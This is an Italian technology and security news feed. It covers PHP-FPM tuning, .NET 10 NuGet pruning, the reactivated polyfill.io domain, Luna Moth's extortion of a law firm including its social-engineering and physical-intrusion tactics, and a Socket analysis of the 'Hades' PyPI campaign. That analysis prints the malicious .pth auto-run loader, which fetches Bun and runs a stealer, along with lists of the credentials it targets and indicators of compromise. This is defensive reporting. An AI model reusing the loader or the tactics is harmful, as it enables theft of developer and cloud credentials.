Spcnet.it

2026-06-08 18:14:43

PHP-FPM: perché usare pm static per le massime prestazioni in produzione

Chi amministra server Linux con stack LEMP o LAMP sa bene che le prestazioni di PHP-FPM dipendono in larga misura dalla corretta configurazione del process manager (PM). L’impostazione predefinita pm = dynamic va bene per molti scenari, ma su server ad alto traffico con memoria disponibile può diventare un collo di bottiglia. Vediamo perché pm = static è spesso la scelta migliore per la produzione.

Le tre modalità di PHP-FPM process manager

PHP-FPM offre tre strategie per gestire i processi worker:

pm = dynamic

Il numero di processi varia dinamicamente in base ai parametri:

pm = dynamic
pm.max_children = 50
pm.start_servers = 5
pm.min_spare_servers = 5
pm.max_spare_servers = 35

PHP-FPM mantiene un pool variabile: avvia un certo numero di processi al boot, ne crea di nuovi sotto carico e termina quelli in eccesso in fase di inattività. È la modalità più flessibile ma anche quella con più overhead gestionale.

pm = ondemand

pm = ondemand
pm.max_children = 50
pm.process_idle_timeout = 10s

I processi vengono creati solo quando arrivano le richieste e terminati dopo un timeout di inattività. Ideale quando la memoria è scarsa o si gestiscono molti pool con traffico basso (tipicamente hosting condiviso con cPanel). Il limite è che su server con traffico intermittente ma costante, i processi vengono continuamente creati e distrutti, aggiungendo latenza esattamente nei momenti di picco.

pm = static

pm = static
pm.max_children = 100
pm.max_requests = 1000

Il numero di processi è fisso: pm.max_children worker vengono avviati al boot e restano sempre in memoria, pronti a rispondere. Non c’è overhead di creazione/terminazione dei processi.

L’analogia con il CPU governor

La scelta tra le tre modalità rispecchia esattamente quella del governor CPUFreq su Linux:

• ondemand (CPU): scala la frequenza in base al carico, poi scende — stessa logica di pm ondemand
• conservative (CPU): simile ma più graduale — analogo a pm dynamic
• performance (CPU): massima frequenza sempre — equivalente a pm static

Su un server di produzione dedicato con carico consistente, proprio come si imposta il governor a performance, ha senso impostare PHP-FPM a static: si sacrifica un po’ di memoria per azzerare la latenza di spawn dei processi.

Quando usare pm static

pm = static è la scelta giusta quando:

• Il server ha memoria abbondante rispetto al traffico atteso
• Il carico è costante o con picchi frequenti (non siti dormenti)
• Si gestisce un singolo pool PHP-FPM per applicazione
• Si vuole la latenza minima possibile per ogni richiesta

Con i worker già in memoria, un picco di traffico improvviso viene assorbito senza dover attendere lo spawn di nuovi processi — che su sistemi sotto carico può richiedere decine di millisecondi.

Calcolare il valore corretto di pm.max_children

Impostare pm.max_children a caso è il classico errore. Troppo alto esaurisce la RAM, troppo basso crea code di attesa. Ecco come calcolarlo con dati reali.

Step 1: misurare la dimensione media di un worker

ps --no-headers -o rss -C php-fpm | awk '{ sum += $1; n++ } END { print sum/n/1024 " MB" }'

Questo comando mostra la dimensione media in MB del Resident Set Size (RSS) di ogni processo php-fpm in esecuzione. Eseguirlo sotto carico reale, non a server scarico.

Step 2: applicare la formula

pm.max_children = memoria_allocabile_MB / dimensione_media_worker_MB

Esempio concreto: se il worker medio pesa 60 MB e si possono allocare 6 GB a PHP-FPM:

pm.max_children = 6144 / 60 ≈ 100

Importante: non assegnare tutta la RAM disponibile a PHP-FPM. Lasciare sempre headroom per il kernel, Nginx/Apache, il database (MySQL/PostgreSQL) e la cache del filesystem. Una regola empirica è non superare il 60-70% della RAM totale per PHP-FPM su un server LEMP monolitico.

Step 3: impostare pm.max_requests

pm.max_requests = 1000

Con pm = static, i processi non vengono mai riavviati automaticamente per inattività. pm.max_requests definisce dopo quante richieste un worker viene riavviato — utile per prevenire memory leak in applicazioni PHP non perfette. Un valore alto (1000+) riduce l’overhead mantenendo una certa protezione. Solo se si ha certezza assoluta di assenza di leak si può usare pm.max_requests = 0.

Monitoraggio dei processi PHP-FPM

Per verificare il comportamento in produzione:

# Vedere tutti i processi PHP-FPM con CPU e memoria
top -bn1 | grep php-fpm

# Contare i worker attivi vs idle (richiede pm.status_path abilitato)
curl http://localhost/fpm-status

# Dimensione totale RSS usata da PHP-FPM
ps --no-headers -o rss -C php-fpm | awk '{ sum += $1 } END { print sum/1024 " MB totali" }'

Abilitare il status page di PHP-FPM nel pool configuration è fondamentale per il monitoring:

; in /etc/php/8.x/fpm/pool.d/www.conf
pm.status_path = /fpm-status

Quando ondemand e dynamic restano la scelta giusta

Non tutto è nero o bianco. pm ondemand e pm dynamic restano preferibili in questi scenari:

• Hosting condiviso con 100+ pool: con tanti siti a traffico basso, tenere worker statici per ogni pool divorberebbe la RAM. cPanel stessa usa ondemand come default per questo motivo.
• Server con memoria limitata: se la RAM è il collo di bottiglia, meglio sacrificare un po’ di latenza che andare in swap.
• Ambienti containerizzati con autoscaling orizzontale: in un setup Kubernetes dove i pod scalano orizzontalmente, ha più senso un pm ondemand con confini ben definiti per container, lasciando che l’orchestratore gestisca il scaling.

Esempio di configurazione ottimale per server ad alto traffico

[www]
user = www-data
group = www-data

listen = /run/php/php8.3-fpm.sock
listen.owner = www-data
listen.group = www-data

pm = static
pm.max_children = 80
pm.max_requests = 2000

pm.status_path = /fpm-status

request_terminate_timeout = 60s
request_slowlog_timeout = 10s
slowlog = /var/log/php/fpm-slow.log

php_admin_value[error_log] = /var/log/php/fpm-error.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 256M

Conclusione

Su server dedicati ad alto traffico con memoria disponibile, pm = static è quasi sempre la configurazione vincente. Elimina l’overhead del process manager, garantisce latenza costante e rende il comportamento del sistema prevedibile sotto carico. La chiave è misurare prima di configurare: il valore di pm.max_children deve essere basato sulla dimensione reale dei worker in produzione, non su stime.

Per ambienti multi-pool o con memoria limitata, ondemand rimane una scelta sensata. Ma per il classico server LEMP di produzione con una singola applicazione, passare a pm static è spesso uno dei miglioramenti più semplici e impattanti che si possano fare.

---

Fonte originale: PHP-FPM tuning: Using ‘pm static’ for max performance — LinuxBlog.io

PHP-FPM tuning: Using 'pm static' for max performance | LinuxBlog.io

Let's take a quick look at how best to set up PHP-FPM for high throughput, low latency, and more stable CPU and memory use. By default, most setups have

^{Hayden James (LinuxBlog.io)}

Spcnet.it

2026-06-08 18:15:22

NuGet Package Pruning in .NET 10: dipendenze più pulite e meno falsi positivi di vulnerabilità

Se hai mai eseguito dotnet list package --vulnerable su un progetto .NET, probabilmente hai visto avvisi per pacchetti transitivi che non hai mai installato esplicitamente — come System.Text.Json o System.Formats.Asn1. In molti casi, questi pacchetti sono già forniti in una versione più recente dal runtime .NET, e gli avvisi sono falsi positivi. Con .NET 10, NuGet risolve questo problema in modo elegante: il package pruning.

Il problema: dipendenze transitorie fantasma

Molte librerie su NuGet.org hanno come target netstandard2.0 per massima compatibilità, e portano con sé dipendenze da pacchetti come System.Memory, System.Text.Json o System.IO.Pipelines — pacchetti che nel frattempo sono diventati parte delle .NET Runtime Libraries.

Il risultato pratico: un progetto .NET 10 che dipende da una di queste librerie si trova a risolvere durante il restore System.Text.Json 8.0.0 come dipendenza transitiva, anche se il runtime .NET 10 già include una versione più recente. Quando viene pubblicata una CVE contro quella versione, i vulnerability scanner la segnalano — anche se la tua applicazione non la usa affatto.

Questo genera tre problemi concreti:

• Falsi positivi nelle vulnerability scan: avvisi per pacchetti già coperti dal runtime
• Grafi di restore più grandi: più pacchetti da risolvere e scaricare
• Riferimenti obsoleti: entry vecchie nel dependency graph che non rispecchiano cosa usa davvero l’app

Come funziona il Package Pruning

Il package pruning rimuove dal grafo di dipendenze NuGet i pacchetti già forniti dalle .NET Runtime Libraries al momento del restore. Il .NET SDK include una lista dei pacchetti forniti da ciascun target framework, con la versione massima disponibile. Se una dipendenza transitiva rientra in quel range, NuGet la elimina.

Ad esempio, net10.0 include System.Text.Json 10.x: una dipendenza transitiva su System.Text.Json 9.0.0 verrebbe pruned; una su System.Text.Json 11.0.0 no (perché il runtime non copre quella versione).

Prima del pruning

Sample.csproj : warning NU1903: Package 'System.Formats.Asn1' 6.0.0 has a
known high severity vulnerability

Project 'Sample' has the following package references
   [net10.0]:
   Top-level Package              Resolved
   > Microsoft.Extensions.AI      10.0.1
   > NuGet.Protocol               6.9.1

   Transitive Package                                     Resolved
   > System.Diagnostics.DiagnosticSource                  10.0.0
   > System.Formats.Asn1                                  6.0.0   ← VULNERABILE
   > System.Text.Json                                     10.0.0
   > System.Threading.Channels                            10.0.0
   ...

Dopo il pruning

Project 'Sample' has the following package references
   [net10.0]:
   Top-level Package              Resolved
   > Microsoft.Extensions.AI      10.0.1
   > NuGet.Protocol               6.9.1

   Transitive Package                                     Resolved
   > Microsoft.Extensions.AI.Abstractions                 10.0.1
   > Newtonsoft.Json                                      13.0.3
   > NuGet.Common                                         6.9.1
   ...
   (System.Formats.Asn1, System.Text.Json, System.Threading.Channels rimossi)

System.Formats.Asn1, System.Text.Json e System.Threading.Channels non compaiono più come dipendenze transitorie perché sono ridondanti su net10.0. L’avviso di vulnerabilità scompare.

Le novità in .NET 10

Il package pruning era disponibile come opt-in dal .NET SDK 9.0.200. Con .NET 10 diventa il comportamento predefinito per i progetti che hanno come target net10.0 o versioni successive.

In parallelo, NuGetAuditMode ora vale all per default, estendendo l’audit alle dipendenze transitorie. Pruning e audit lavorano insieme: il pruning rimuove i pacchetti ridondanti, l’audit si concentra sulle dipendenze che la tua app usa davvero.

I risultati misurati dal team NuGet:

• 70% di report di vulnerabilità transitorie in meno rispetto ai default precedenti
• Fino al 50% di riduzione del tempo di restore a livello di singolo progetto
• Tasso di successo del restore misurabilmente più alto

Gestione dei PackageReference diretti

Se hai un riferimento diretto a un pacchetto che rientra nel range del pruning, NuGet non lo rimuove automaticamente dal tuo .csproj, ma lo “privatizza” aggiungendo implicitamente PrivateAssets='all' e IncludeAssets='none'. Quando un riferimento diretto può essere rimosso completamente, NuGet emette il warning NU1510:

<!-- Prima: riferimento diretto ridondante -->
<PackageReference Include="System.Text.Json" Version="10.0.0" />

<!-- NuGet emetterà NU1510: puoi rimuovere questo riferimento -->

Come attivare manualmente (per progetti precedenti)

Per progetti che non usano ancora i default di .NET 10, è possibile attivare pruning e audit esplicitamente:

<PropertyGroup>
  <NuGetAuditMode>all</NuGetAuditMode>
  <RestoreEnablePackagePruning>true</RestoreEnablePackagePruning>
</PropertyGroup>

In un progetto multi-target, se almeno un target framework è net10.0 o successivo, il pruning si applica a tutti i target framework del progetto.

Impatto su pipeline CI/CD e security scanning

Per i team che usano tool come OWASP Dependency-Check, Snyk, GitHub Dependabot o dotnet-outdated, il package pruning riduce significativamente il rumore nei report. I vulnerability report post-pruning riflettono le dipendenze reali dell’applicazione, rendendo le decisioni di remediation più precise e il triage più veloce.

Il comando per verificare lo stato attuale del tuo progetto:

dotnet list package --include-transitive --vulnerable

Con .NET 10 e pruning attivo, l’output dovrebbe essere significativamente più corto rispetto a .NET 8/9 con gli stessi package di primo livello.

Conclusione

Il package pruning in .NET 10 è uno di quei miglioramenti silenziosi che hanno un impatto concreto quotidiano: meno rumore nei report di sicurezza, restore più veloci, e un dependency graph che rispecchia davvero cosa usa la tua applicazione. Se stai ancora su .NET 9, vale la pena attivarlo subito con le due property nella sezione precedente.

Fonte: NuGet Package Pruning: Cleaner Dependencies and Actionable Vulnerability Reports — .NET Blog

NuGet Package Pruning: Cleaner Dependencies and Actionable Vulnerability Reports - .NET Blog

Package pruning in .NET 10 removes platform-provided packages from your dependency graph. With transitive auditing enabled by default, projects with these defaults have 70% fewer transitive vulnerability reports compared to projects using the previou…

^{Nikolche Kolev (.NET Blog)}

(in)sicurezza digitale

2026-06-08 18:17:21

Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung

Il dominio polyfill[.]io — protagonista di uno dei più clamorosi supply chain attack del 2024 — è tornato attivo a fine maggio 2026 con un nuovo vettore: risposte HTTP 401 che inducono i browser a mostrare finestre di autenticazione false agli utenti di siti che non avevano ancora rimosso il vecchio script. Tra le vittime più note: Toshiba, Muji, Zojirushi e Samsung Smart TV.

Il contesto: l’incidente polyfill.io del 2024

Polyfill è una libreria JavaScript che permette ai siti web di supportare funzionalità moderne su browser legacy, fornendo uno strato di compatibilità lato client. Per anni, milioni di siti hanno caricato questa libreria dal CDN ospitato su polyfill[.]io — un dominio che tuttavia non era mai stato di proprietà del creatore del progetto open source, Andrew Betts.

Nel febbraio 2024, il dominio polyfill[.]io fu acquistato da un’entità cinese (Funnull), che lo utilizzò per iniettare codice malevolo negli script distribuiti dal CDN, colpendo oltre 100.000 siti. Betts reagì subito consigliando a tutti gli amministratori di rimuovere il servizio dai propri siti e rilancò il progetto originale sotto nuovi domini (polyfill.com, poi polyfill.top). Le autorità e diversi CDN provider bloccarono l’accesso a polyfill[.]io, fermando i redirect malevoli.

Maggio 2026: il dominio risponde di nuovo — con HTTP 401

Il problema del 2026 ha un meccanismo diverso ma altrettanto insidioso. Secondo il ricercatore di sicurezza Pasquale Pillitteri, a partire da fine maggio 2026 il dominio polyfill[.]io ha ricominciato a rispondere alle richieste, questa volta restituendo codici HTTP 401 (Unauthorized). Quando un browser carica una risorsa da un dominio esterno e riceve una risposta 401, interpreta questo come una richiesta di autenticazione e mostra automaticamente una finestra di dialogo per inserire username e password.

Tutti i siti che negli ultimi due anni non avevano completato la pulizia del codice — rimuovendo ogni riferimento a polyfill[.]io — si sono trovati improvvisamente a presentare ai propri utenti delle finestre di login che sembravano provenire dal sito legittimo, ma erano in realtà generate da una risorsa esterna non controllata dall’azienda.

Le organizzazioni colpite

Il colosso tecnologico Toshiba ha pubblicato un avviso urgente ai propri utenti il 2 giugno 2026, chiedendo di annullare qualsiasi finestra di autenticazione insolita apparsa sul sito e di non inserire credenziali. Il gigante del retail Muji ha emesso un comunicato simile, dichiarando di non aver rilevato accessi non autorizzati o fughe di dati, ma invitando comunque alla prudenza chi avesse eventualmente inserito le proprie credenziali. Anche Zojirushi (elettrodomestici), FiNC Technologies (app di salute), Ishiyaku Publishers e Hobonichi (editore e brand lifestyle) hanno segnalato lo stesso problema. Pillitteri ha riportato che il fenomeno si è manifestato anche sui televisori Samsung Smart TV l’1 giugno 2026.

Analisi tecnica: il meccanismo dell’HTTP 401 browser prompt

Il comportamento è standard nelle specifiche HTTP: quando una risorsa (script, immagine, iframe) risponde con 401, il browser mostra automaticamente una finestra di autenticazione nativa (WWW-Authenticate challenge). L’aspetto visivo di questa finestra è quello di un dialog box del browser — non una pagina web — il che può dare all’utente l’impressione di una richiesta legittima proveniente dal sito che sta visitando. Se l’utente inserisce le credenziali, queste vengono inviate in chiaro (o con Basic Auth) al server che ha emesso la challenge — in questo caso polyfill[.]io.

Al momento della pubblicazione dell’articolo originale di BleepingComputer (5 giugno 2026), non erano emerse prove concrete che le credenziali eventualmente inserite dagli utenti fossero state effettivamente raccolte. Toshiba e Muji hanno dichiarato di aver rimosso il riferimento a polyfill[.]io e di aver sospeso il servizio. Tuttavia, il rischio per gli utenti che abbiano inserito credenziali prima della chiusura rimane reale, e il cambio password immediato è fortemente consigliato.

Cosa devono fare gli amministratori di siti web

La lezione principale di questo incidente è chiara: le dipendenze da CDN esterni non controllati rappresentano un rischio persistente anche dopo che un incidente di sicurezza è stato apparentemente risolto. Gli amministratori devono verificare immediatamente che nessuna pagina del proprio sito contenga riferimenti a polyfill[.]io — incluse pagine secondarie, template legacy e componenti di terze parti. Gli strumenti di Content Security Policy (CSP) e Subresource Integrity (SRI) possono prevenire questo tipo di attacco bloccando il caricamento di risorse da domini non autorizzati o con hash diverso da quello atteso. Qualsiasi CDN di terze parti dovrebbe essere monitorato per variazioni nel comportamento delle risorse caricate.

Indicatori

## Dominio da bloccare
polyfill.io
cdn.polyfill.io

## Pattern da cercare nel codice sorgente
src="https://polyfill.io/
src='https://polyfill.io/
src="//polyfill.io/

(in)sicurezza digitale

2026-06-08 18:16:34

Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati

Weil, Gotshal & Manges — una delle law firm più influenti al mondo, con un portafoglio clienti che include le maggiori transazioni M&A e contenziosi corporate degli Stati Uniti — ha corrisposto tra 18 e 20 milioni di dollari al gruppo di estorsione noto come Luna Moth, Silent Ransom Group o UNC3753. Il pagamento è avvenuto nell’arco di tre giorni dalla richiesta. Contemporaneamente, l’FBI ha emesso un alert FLASH — il secondo in dodici mesi su questo attore, il primo a livello FLASH — documentando un’escalation tattica senza precedenti: il gruppo ora invia operativi fisici negli uffici delle vittime.

Chi è Luna Moth / Silent Ransom Group

Luna Moth è attiva dal 2022 e affonda le proprie radici nelle operazioni BazarCall, un’infrastruttura di phishing telefonico che fino alla primavera di quell’anno aveva fornito accesso iniziale alle operazioni ransomware di Ryuk e Conti. Dopo il collasso di Conti (aprile 2022), il nucleo operativo si è separato dando vita al Silent Ransom Group, che ha abbandonato il modello tradizionale di ransomware con cifratura dei sistemi in favore di pura estorsione via data theft.

Il modello economico è cinico ma efficace: non cifrare i sistemi delle vittime significa non bloccare l’operatività aziendale (il che riduce la pressione a chiamare le forze dell’ordine) e concentrarsi sulla minaccia più cogente per le law firm — la pubblicazione di documenti riservati dei clienti. Secondo la società di sicurezza Halcyon, tra il 2025 e l’inizio del 2026 si contano oltre 200 incidenti ransomware/estorsione ai danni di studi legali, con il SRG protagonista indiscusso della verticalizzazione su questo settore.

Il caso Weil Gotshal: cronologia e dettagli

Secondo il reporting esclusivo di The Insurer, Luna Moth ha ottenuto accesso a un numero non specificato di documenti riservati dei clienti di Weil, Gotshal & Manges e li ha caricati su un’infrastruttura cloud esterna senza autorizzazione. La richiesta di riscatto — definita “suppression payment” — ammonta a una cifra tra 18 e 20 milioni di dollari. Il pagamento sarebbe stato effettuato entro tre giorni dalla richiesta.

Weil ha confermato l’incidente in una dichiarazione ufficiale, specificando che “un attore malintenzionato ha caricato senza autorizzazione un numero limitato di documenti clienti su una risorsa cloud esterna”. La firma ha aggiunto che i forensic specialist ingaggiati non hanno trovato prove di penetrazione nella rete interna e che non è stata rilevata attività non autorizzata nei monitoraggi successivi. La società ha notificato i clienti i cui dati sono stati coinvolti e ha comunicato di aver allertato le forze dell’ordine. Il pagamento del riscatto non è stato confermato da Weil.

L’impatto reputazionale è comunque significativo: una law firm che gestisce transazioni miliardarie e contenziosi sensibili è per definizione un target ad altissimo valore per chi punta alla pubblicazione di informazioni riservate. Secondo EclecticIQ, il SRG ha già pubblicato dati di oltre 38 studi legali sul proprio leak site, con un totale di incidenti che supera i 100.

L’escalation tattica: dal vishing all’infiltrazione fisica

L’elemento più allarmante documentato dall’alert FLASH dell’FBI (numero FLASH-20260526-01) è l’evoluzione della kill chain del SRG, che si è articolata in tre generazioni tattiche distinte.

Fase 1 (2022-2024) — Callback phishing: invio massivo di email che impersonano servizi di subscription con un numero telefonico da chiamare per “risolvere il problema”. L’operatore al telefono — che finge di essere il supporto del servizio — convince la vittima a installare un tool di remote monitoring and management (RMM) da un sito fake dell’helpdesk. Non ci sono link o allegati malevoli nell’email, il che consente di bypassare la stragrande maggioranza dei filtri enterprise.

Fase 2 (primavera 2025-inizio 2026) — IT impersonation via cold call: invece di aspettare che la vittima chiami, il SRG inizia a contattare direttamente i dipendenti spacciandosi per l’IT interno dell’azienda target. Il pretesto standard è una “manutenzione di routine” o una risposta a un presunto attacco phishing ricevuto. La richiesta è la stessa: concedere l’accesso a una sessione desktop remota. Il livello di preparazione degli operatori è elevato: registrano domain typosquatted che impersonano i portali IT delle law firm target, personalizzano il social engineering in base all’organigramma aziendale.

Fase 3 (primavera 2026) — Infiltrazione fisica: questa è la novità documentata dall’FBI nel FLASH alert. Quando i tentativi di accesso remoto falliscono, il SRG invia un operativo fisicamente presso la sede della vittima. L’attore si presenta come tecnico IT e dichiara di dover “clonare il disco” o “creare un backup” per far fronte a potenziali impatti del phishing ricevuto. Una volta ottenuto l’accesso fisico alla macchina, inserisce un dispositivo di storage per estrarre i dati direttamente.

TTP e strumenti tecnici

Una volta ottenuto l’accesso remoto o fisico, la metodologia del SRG è caratterizzata da minima privilege escalation e rapido pivot verso l’esfiltrazione. Gli strumenti principali documentati dall’FBI sono WinSCP (Windows Secure Copy) e versioni nascoste o rinominate di rclone per la sincronizzazione cloud. Il gruppo usa le credenziali carpite per accedere a repository documentali, drive condivisi e cartelle clienti. Il leak site è attivo e viene aggiornato regolarmente come strumento di pressione nelle negoziazioni.

Le richieste di riscatto variano significativamente in base alla dimensione dell’organizzazione target: secondo EclecticIQ i range storici vanno da 1 a 8 milioni di dollari. Il caso Weil Gotshal — con 18-20 milioni — rappresenta un massimo storico documentato per questa famiglia, coerente con il profilo ultra-premium della law firm target.

Perché le law firm sono il target ideale

Le law firm concentrano un livello di riservatezza dei dati che pochi altri settori possono eguagliare: memorie difensive in contenziosi attivi, documenti M&A pre-annuncio, segreti industriali, comunicazioni privilegiate attorney-client, strategie fiscali. La minaccia di pubblicazione crea pressioni sia sulla firma sia sui clienti rappresentati — un effetto moltiplicatore che rende la negoziazione più probabile rispetto ad altri settori. Alcuni dei clienti più importanti di Weil includono aziende Fortune 500, fondi private equity e istituzioni finanziarie: la pubblicazione di loro documenti strategici avrebbe conseguenze che vanno ben oltre il danno reputazionale della firma.

Due righe per i difensori

• Verifica out-of-band dell’identità: qualsiasi richiesta di accesso remoto da presunto personale IT deve essere verificata tramite canale separato (non il numero fornito dal chiamante). Istituire procedure di autenticazione per gli interventi tecnici da remoto.
• Politiche di accesso fisico: nessun tecnico esterno deve poter connettere dispositivi USB o storage alle macchine aziendali senza autorizzazione documentata e supervisione. Badge visitatori con registrazione obbligatoria.
• Allowlist degli strumenti RMM: bloccare l’installazione di RMM tool non approvati (AnyDesk, ConnectWise, TeamViewer e simili) tramite application control.
• DLP e monitoraggio esfiltrazione: alert su uso anomalo di WinSCP o rclone, trasferimenti bulk verso storage cloud esterni, accessi insoliti a repository documentali fuori orario.
• Formazione specifica sul vishing: simulazioni di callback phishing e IT impersonation per tutti i dipendenti, con enfasi sul non fornire mai accesso remoto a chiamanti inbound non verificati.
• MFA resistente al phishing: FIDO2/hardware token per tutti gli accessi ai sistemi documentali.

Fonti: The Insurer, BleepingComputer, FBI FLASH-20260526-01, EclecticIQ, Dark Reading

m0nt4lb4n0

2026-05-06 06:09:14

2° Meeting nazionale TWC Italia

Inizia: Sabato Giugno 13, 2026 @ 12:00 AM GMT+02:00 (Europe/Rome)

Finisce: Domenica Giugno 14, 2026 @ 12:00 AM GMT+02:00 (Europe/Rome)

Incontriamoci. Confrontiamoci. Organizziamoci.

🌍 LSA100Celle - Roma

📍13 e 14 giugno ci vediamo a #Roma per il secondo Meeting nazionale di Tech Workers Coalition Italia. Un'occasione per discutere delle criticità del settore tech italiano e globale e mettere in rete le pratiche di mobilitazione.Un grande log out nazionale per costruire l'alternativa possibile nei nostri luoghi di lavoro. Non lasciamoci deformare dalla tecnologia.

Sostieni il meeting su OpenCollective e segui tutti gli aggiornamenti sul programma sul nostro sito.

Instagram

Create an account or log in to Instagram - Share what you're into with the people who get you.

^Instagram

(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

